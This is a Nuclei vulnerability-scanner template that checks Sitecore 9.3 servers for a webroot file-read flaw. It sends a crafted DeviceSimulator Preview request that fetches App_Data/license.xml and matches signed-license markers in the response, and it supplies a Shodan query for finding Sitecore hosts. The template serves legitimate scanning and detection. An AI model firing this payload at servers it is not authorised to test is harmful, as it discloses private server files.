Files
nuclei-templates/http/misconfiguration/sitecore-lfi.yaml
2024-12-01 13:57:55 +00:00

33 lines
974 B
YAML

id: sitecore-lfi
info:
name: Sitecore 9.3 - Webroot File Read
author: DhiyaneshDK
severity: high
description: SiteCore 9.3 is vulnerable to LFI.
reference:
- https://blog.assetnote.io/2023/05/10/sitecore-round-two/
metadata:
verified: true
max-request: 1
shodan-query: title:"Sitecore"
tags: sitecore,lfi,misconfig
http:
- method: GET
path:
- "{{BaseURL}}/api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?previewPath=/App_Data/license.xml"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<signedlicense id="
- "<Signature"
condition: and
- type: status
status:
- 200
# digest: 4a0a004730450220775cf8e3f80b9287d5539861035ce4b683a41dcc9919aae3ef9b1809c238558d022100becac38180671303010269b9571fb2c84244618b006e63af60eeb038e481ead7:922c64590222798bb761d5b6d8e72950